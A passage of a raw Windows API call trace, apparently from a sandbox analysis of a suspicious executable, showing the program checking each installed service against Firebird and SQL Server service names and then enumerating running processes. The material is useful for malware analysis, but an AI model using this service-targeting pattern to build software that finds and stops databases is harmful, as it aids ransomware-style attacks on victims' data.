lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0236.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0236.105] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0236.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0236.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0236.105] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0236.105] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0236.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0236.105] lstrlenW (lpString="CryptSvc") returned 8 [0236.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0236.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0236.105] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0236.105] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0236.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0236.105] lstrlenW (lpString="DcomLaunch") returned 10 [0236.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0236.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0236.105] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0236.105] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0236.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0236.105] lstrlenW (lpString="DeviceAssociationService") returned 24 [0236.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0236.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0236.105] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0236.105] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0236.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0236.105] lstrlenW (lpString="Dhcp") returned 4 [0236.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0236.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0236.105] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0236.106] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0236.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0236.106] lstrlenW (lpString="Dnscache") returned 8 [0236.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0236.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0236.106] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0236.106] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0236.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0236.106] lstrlenW (lpString="DPS") returned 3 [0236.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0236.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0236.106] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0236.106] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0236.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0236.106] lstrlenW (lpString="DusmSvc") returned 7 [0236.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0236.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0236.106] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0236.106] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0236.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0236.106] lstrlenW (lpString="EventLog") returned 8 [0236.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0236.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0236.106] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0236.106] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0236.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0236.106] lstrlenW (lpString="EventSystem") returned 11 [0236.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0236.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0236.107] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0236.107] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0236.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0236.107] lstrlenW (lpString="FontCache") returned 9 [0236.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0236.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0236.107] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0236.107] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0236.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0236.107] lstrlenW (lpString="gpsvc") returned 5 [0236.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0236.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0236.107] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0236.107] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0236.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0236.107] lstrlenW (lpString="iphlpsvc") returned 8 [0236.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0236.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0236.107] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0236.107] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0236.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0236.107] lstrlenW (lpString="KeyIso") returned 6 [0236.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0236.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0236.107] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0236.107] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0236.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0236.108] lstrlenW (lpString="LanmanServer") returned 12 [0236.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0236.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0236.108] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0236.108] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0236.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0236.108] lstrlenW (lpString="LanmanWorkstation") returned 17 [0236.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0236.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0236.108] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0236.108] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0236.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0236.108] lstrlenW (lpString="lfsvc") returned 5 [0236.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0236.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0236.108] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0236.108] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0236.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0236.108] lstrlenW (lpString="lmhosts") returned 7 [0236.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0236.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0236.108] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0236.108] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0236.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0236.108] lstrlenW (lpString="LSM") returned 3 [0236.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0236.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0236.109] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0236.109] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0236.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0236.109] lstrlenW (lpString="MpsSvc") returned 6 [0236.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0236.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0236.109] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0236.109] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0236.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0236.109] lstrlenW (lpString="NcbService") returned 10 [0236.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0236.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0236.109] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0236.109] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0236.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0236.109] lstrlenW (lpString="netprofm") returned 8 [0236.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0236.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0236.109] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0236.109] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0236.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0236.109] lstrlenW (lpString="NgcSvc") returned 6 [0236.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0236.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0236.109] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0236.109] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0236.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0236.110] lstrlenW (lpString="NlaSvc") returned 6 [0236.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0236.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0236.110] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0236.110] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0236.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0236.110] lstrlenW (lpString="nsi") returned 3 [0236.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0236.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0236.110] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0236.110] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0236.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0236.110] lstrlenW (lpString="PcaSvc") returned 6 [0236.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0236.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0236.110] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0236.110] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0236.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0236.110] lstrlenW (lpString="PlugPlay") returned 8 [0236.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0236.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0236.110] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0236.110] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0236.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0236.110] lstrlenW (lpString="Power") returned 5 [0236.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0236.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0236.110] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0236.111] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0236.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0236.111] lstrlenW (lpString="ProfSvc") returned 7 [0236.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0236.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0236.111] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0236.111] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0236.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0236.111] lstrlenW (lpString="RpcEptMapper") returned 12 [0236.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0236.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0236.111] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0236.111] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0236.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0236.111] lstrlenW (lpString="RpcSs") returned 5 [0236.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0236.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0236.111] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0236.111] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0236.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0236.111] lstrlenW (lpString="SamSs") returned 5 [0236.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0236.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0236.111] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0236.111] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0236.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0236.111] lstrlenW (lpString="Schedule") returned 8 [0236.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0236.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0236.112] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0236.112] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0236.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0236.112] lstrlenW (lpString="SecurityHealthService") returned 21 [0236.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0236.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0236.112] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0236.112] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0236.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0236.112] lstrlenW (lpString="SENS") returned 4 [0236.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0236.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0236.112] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0236.112] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0236.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0236.112] lstrlenW (lpString="ShellHWDetection") returned 16 [0236.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0236.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0236.112] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0236.112] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0236.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0236.112] lstrlenW (lpString="Spooler") returned 7 [0236.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0236.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0236.112] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0236.112] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0236.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0236.113] lstrlenW (lpString="StateRepository") returned 15 [0236.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0236.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0236.113] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0236.113] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0236.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0236.113] lstrlenW (lpString="SysMain") returned 7 [0236.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0236.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0236.113] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0236.113] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0236.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0236.113] lstrlenW (lpString="SystemEventsBroker") returned 18 [0236.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0236.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0236.113] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0236.113] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0236.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0236.186] lstrlenW (lpString="Themes") returned 6 [0236.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0236.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0236.186] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0236.186] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0236.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0236.186] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0236.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0236.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0236.186] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0236.186] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0236.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0236.186] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0236.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0236.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0236.186] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0236.186] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0236.186] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4113690 | out: hHeap=0x670000) returned 1 [0236.186] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4d4 [0238.284] Process32FirstW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.285] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0238.286] lstrlenW (lpString="System") returned 6 [0238.286] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0238.286] lstrlenW (lpString="smss.exe") returned 8 [0238.287] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.287] lstrlenW (lpString="csrss.exe") returned 9 [0238.287] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0238.288] lstrlenW (lpString="wininit.exe") returned 11 [0238.288] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.288] lstrlenW (lpString="csrss.exe") returned 9 [0238.288] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0238.289] lstrlenW (lpString="winlogon.exe") returned 12 [0238.289] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0238.289] lstrlenW (lpString="services.exe") returned 12 [0238.289] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0238.290] lstrlenW (lpString="lsass.exe") returned 9 [0238.290] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0238.291] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0238.291] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0238.291] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0238.291] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.292] lstrlenW (lpString="svchost.exe") returned 11 [0238.292] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.292] lstrlenW (lpString="svchost.exe") returned 11 [0238.292] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0238.293] lstrlenW (lpString="dwm.exe") returned 7 [0238.293] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.293] lstrlenW (lpString="svchost.exe") returned 11 [0238.294] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.294] lstrlenW (lpString="svchost.exe") returned 